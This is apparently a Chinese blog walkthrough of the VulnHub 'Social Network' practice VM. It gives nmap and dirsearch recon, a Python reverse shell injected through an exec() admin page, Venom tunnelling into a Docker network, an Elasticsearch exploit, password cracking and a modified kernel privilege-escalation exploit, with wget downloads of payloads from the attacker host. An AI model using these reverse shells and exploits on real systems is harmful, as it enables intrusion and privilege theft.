靶机说明
1)靶机地址:
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
2)难度:中等
3)虚拟机软件推荐:virtualBox
4)本次涉及攻击手段:主机发现、端口扫描、服务发现、路径爬取、代码注入、Shell脚本、内网信息收集、内网穿透、漏洞利用、密码破解、本地提权、攻击代码修改
打靶过程
1)因靶机与kali主机都处于同网段仅主机模式,所以主机发现,首选二层主机发现工具arp-scan
# arp-scan -l
2)对发现的主机进行全端口扫描:发现开放了22
# nmap -p- 192.168.56.107
3)对发现的端口进行服务发现,因为并不能确定上述两个端口上面运行的是什么服务、服务版本
# nmap -p22,5000 -sV 192.168.56.107
通过扫描发现5000端口上运行了一个httpd的web服务,且使用了基于python开发的werkzeug底层web框架,且目标系统使用的python版本是2.7.15
4)通过访问扫描到的web页面
http://10.0.2.17:5000
通过检查该页面无任何漏洞
5)对网站进行常规操作:对web应用程序路径进行发现,因为web应用程序常常在内部会包含一些隐藏的路径或隐藏的页面,这些隐藏页面或隐藏路径可能存在可以输入数据的函数的提交点
# dirsearch http://10.0.2.17:5000
发现了一个/admin的路径
6)对发现的路径进行访问:访问后发现是一个管理界面,该界面可以进行代码的执行,即输入框中输入的内容都会被交给exec()函数去执行
http://10.0.2.17:5000/admin
注:如果web应用程序过滤不严格,可以对输入的代码过滤不严格,可以利用代码执行的功能直接执行一个反弹shell的操作
7)通过前面扫描发现该网站是通过python开发的,所以此时可以使用python的代码执行功能,向表单中注入python代码来触发一个反弹的shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.7",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
代码含义:通过导入系统默认的函数库,通过这些库去反弹连接kali:10.0.2.7主机的4444端口,通过这个连接,最后执行/bin/sh
8)在kali主机进行监听4444端口
#nc -lvvp 4444
9)虽然 上面获取到了root权限,但是因存在dockerfile文件(标准化部署docker容器的模板文件),由此可怀疑上述获取的系统只是一个docker容器的系统
#cat Dockerfile
10)100%确定该系统是一个docker容器运行的系统,
①查看根目录下是否存在dockerenv文件,存在90%说明是一个docker容器系统
②查看/proc/1/cgroup下是否有类似如下文件,如果有说明一定是一个容器系统。因为linux系统启动之后,pid为1表示该计算机系统上的初始化进程的ID,当初始化进程的cgroup文件包含着明确的docker镜像主机的指示信息,则100%可证明当前系统是一个docker容器,而且docker容器的hash值就是一长串字符
注:判断获取的系统权限是docker容器后,需要从docker容器当前隔离的环境下突破出来,找到宿主机,在对宿主机漏洞的利用拿到宿主机的最高权限
11)先查看当前docker容器的IP地址
此时可以将docker容器所处的网段视为当前这个网络中的内网网段,既然有内网网段,就可以在该内网网段中进一步发现该内网中有没有其他主机?如果存在其他主机,那会不会存在一些已知的漏洞?可不可以利用这些漏洞?进一步获得已知的信息,攻击更多的内网系统?
12)内网主机发现
①最简单方法:一个一个ping
②利用脚本,对内网主机进行扫描:先定义一个序列,在利用循环进行扫描,此处只扫描10个IP,对每一个IP发生一个ping包
# for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
发现了在内网主机发现了两个IP:172.17.0.1、172.17.0.2,此时对上述两个主机进行端口扫描,
问题:但是该网络处于一个内网网段,直接通过kali中的攻击工具对内网网段进行扫描网路不可达,要解决该问题,需要使用一种内网穿透技术,把kali到内网的路由打通
13)此处使用venom工具,在内网和kali主机之间建立一条隧道,基于该隧道生成一个代理,让其他工具可以通过代理去扫描内网主机
14)先将venom的客户端程序,传输到目标主机运行,再执行服务端程序,使得目标主机和kali主机之间建立一条隧道
①服务端:先在kali主机启动一个httpd的web服务
# cd Venom.v1.1.0/
# cp agent_linux_x64 a
# python3 -m http.server 80
# ./admin_linux_x64 -lport 9999
②客户端:获取客户端程序
#wget http://10.0.2.7/a
#chmod +x a
#./a -rhost 10.0.2.7 -rport 9999
14)连接成功后,在服务端中进入节点,并在该节点启动一个socks的监听
>>>show
>>>goto 1
>>>socks 1080
15)为了使得kali主机上的所以工具都可以挂代理访问内网,需要使用proxychains工具,利用proxychains工具挂载配置的socks代理,让kali工具都可以利用该代理去攻击内网主机
#vim /ect/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080
16)对内网进行扫描
①先对172.17.0.1进行扫描
# proxychains nmap -Pn -sT 172.17.0.1
发现该主机开发端口和最先扫描的靶机10.0.2.17的端口一致,此时对该主机的端口进行服务版本的扫描
# proxychains nmap -p22,5000 -sV -Pn -sT 172.17.0.1
在浏览器使用带来,对该内网地址进行访问,发现和访问10.0.2.17的结果一模一样
总结:根据以上发现,说明172.17.0.1就是10.0.2.17这台宿主机,只不过172.17.0.1是面向容器内网的IP地址,所以 该主机就是我们要攻击的目标主机
②对172.17.0.2进行端口扫描:发现了9200端口,该端口是elasticsearch的默认端口
#proxychains nmap -Pn -sT 172.17.0.2
对172.17.0.2的9200端口运行的服务进行扫描
#proxychains nmap -Pn -St -p9200 -sV 172.17.0.2
通过扫描发现9200运行的服务确实是Elasticsearch,且版本为1.4.2,Elasticsearch在历史版本上曾经出现过很严重的漏洞(RCE漏洞),此处可以怀疑该版本是否存在漏洞?如果存在漏洞又怎么利用?
17)在kali上搜索elasticsearch关键词
# searchsploit Elasticsearch
18)将前两个漏洞利用代码拷贝下来,按个尝试,执行完毕后,又发现获取到了一个root权限
# cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./
# proxychains python2 36337.py 172.17.0.2
19)在其根目录下,发现了一个passwords文件,查看其文件内容
#cd /
#ls
#cat passwords
20)对上述密码hash值对其进行解密
21)利用ssh对刚才获取到的用户名和密码进行登录
#ssh [email protected]
22)查看能否提示sudo权限,该用户没有任何sudo权限
$ sudo -s
23)通过之前发现该系统的内核为3.13
24)尝试利用内核漏洞进行提权,先搜索3.13,出现很多漏洞利用代码,挑选其中一个复制到本地
# searchsploit 3.13
#cp /usr/share/exploitdb/exploits/linux/local/37292.c ./
25)简单查看代码发现,该利用代码需要gcc编译,且在利用过程中同样需要gcc,但是在目标系统中是没有安装gcc的,所以即使在kali主机将代码编译后,业务发在目标主机正常运行
上述源码中再次调用了gcc去查找到另外一个C语言的库文件/tmp/ofs-lib.c,再将该库文件编译成对应的/tmp/ofs-lib.so文件,然后在整个的漏洞利用过程中,再次加载ofs-lib.so文件
26)此时需要对代码进行简单修改:在kali中直接找到二进制的库文件ofs-lib.so,然后修改源码,当执行到该位置的时候,不在需要通过gcc去编译,而是直接调用库文件
# vim 37292.c
17)在kali直接编译37292.c文件,编译生成exp文件
# gcc -o exp 37292.c
18)在kali主机找当ofs-lib.so库文件
# locate ofs-lib.so
# cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
19)将exp和ofs-lib.so文件下载到目标主机
①先在kali主机启动httpd服务
# python3 -m http.server 80
②在目标主机下载文件,并执行
#wget http://10.0.2.7/exp
#wget http://10.0.2.7/ofs-lib.so
#mv * /tmp
#cd /tmp
#chmod +x exp
#./exp
#id
总结:面对靶机,先进行了主机发现,之后针对已经发现的主机进行了端口扫描以及服务的扫描,当扫描结束之后,发现目标主机存在5000端口的web应用,尝试访问web应用,在web应用下没有收获任何漏洞,之后对web应用进行路径发现,发现了一个/admin的后台页面,在该后台地址发现了远程代码执行漏洞,利用反弹shell获取到了一个root权限,但是该root权限是一个容器系统,然后基于该容器系统对其内网的Ip地址段进行发现,发现过程中,识别出两个内网主机的IP地址,之后挂取代理进行内网穿透,对这两个地址进行全端口扫描,在扫描过程中,发现了在一台主机上发现了9000端口,该端口是Elasticserch的默认端口,又都Elasticserch进行漏洞的利用和攻击,成功拿下了172.17.0.2这台主机,在这台主机中发现了passwords这个文件,对其进行解密后,利用发现的用户名和密码对目标主机进行尝试登录,登录后发现只是一个普通用户权限,因目标主机使用的是内核较老的linux发行版,所以此时使用最直接的提权方法:针对内核的提权。但是漏洞利用代码无法直接在目标系统进行gcc的编译,所以只能修改代码,重新编译,然后将编译后的代码和库文件一起传输的目标系统,然后进行提权,获取到root权限
标签:发现,10.0,主机,端口,打靶,172.17,kali,第四次 From: https://www.cnblogs.com/piaolaipiaoqu/p/16926378.html